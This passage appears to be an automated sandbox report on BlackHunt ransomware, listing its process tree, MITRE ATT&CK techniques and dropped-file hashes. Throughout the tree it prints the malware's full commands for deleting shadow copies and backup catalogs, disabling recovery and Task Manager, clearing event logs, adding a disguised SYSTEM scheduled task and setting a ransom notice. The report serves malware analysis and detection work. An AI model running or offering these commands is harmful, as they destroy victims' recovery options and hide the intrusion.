    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:5484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1000
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:5528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4080
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:4144
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:5692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2628
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:5552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:5008
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:3356
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:5600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe" /F
  2⤵
  PID:4264
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:5668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2100
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:5716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3120
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:4192
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:4588
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4708
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4652
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4456
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4584
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:6128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1892
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:5724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1928
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:5676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1612
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:5504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4568
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4680
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:5992
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:3436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:864
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:6140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3716
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:1808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:6064
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:6104
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:5872
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:1812
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:4464
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2784
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3472
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4304
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2628
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4148
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:1140
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:1836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4628
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:4280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:4976
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:2248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2912
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:1548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3832
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:2864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3108
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:4832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  - Checks computer location settings
  - Modifies registry class
  PID:5248
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    PID:5864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:5216
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:5368
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5128
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe"
  2⤵
  PID:5452
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:5844

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5572

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2476

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5868

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:3340

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\#BlackHunt_Private.key

Filesize
1KB

MD5
4f3c23ad4526bfce6ab14380fdb5a87e

SHA1
47d463d6cfb5f5c520e5811351090e7d220c80b9

SHA256
4f19409de9d449780e0f886b40efcb957a6b500187e18487797878465bcf0bc3

SHA512
b2d25038af65f624ac0def8a99035fdaa2f85d58b1f822a4fe2567d34b9236a952981cdde23c79bc80d142150b129fab02ec8e889bb65ec42c01b51f42962a14

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
79dc504e819393355f2cf0f6718f4da3

SHA1
126470d6597bc4d7aedc329bcc0929c03b8ba633

SHA256
27055a2f1f7319b52763535ef2feff0586f0cd0cffe27ab6abe3244ea1c1c8e0

SHA512
84332c006341946ec9b24dc14561ef96f7579d8b977344bb9b79218fb3df6dc2005a4bb7554f686e650c76726daae379bcc5b7f2993c3b3371b24018c49ecc64

Download Submit
F:\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
f5e57d71d39443a95ff6ec382ebb48dd

SHA1
c357eb4fe3b87c325ed78f16cb3b3008eae82abd

SHA256
b874d01e11531e41b1334c9ce32a259a77528c00b4dd2a0518404aa217c16187

SHA512
06892685ac838ce7b7fb0c4229a850739efa97fd8cb73bbdecaba6f8f4e882a9b202ec9b9620fc5c854cdf53b4e4e5c7b8c55a72b05223e5b64bd1e428b4ebc8

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads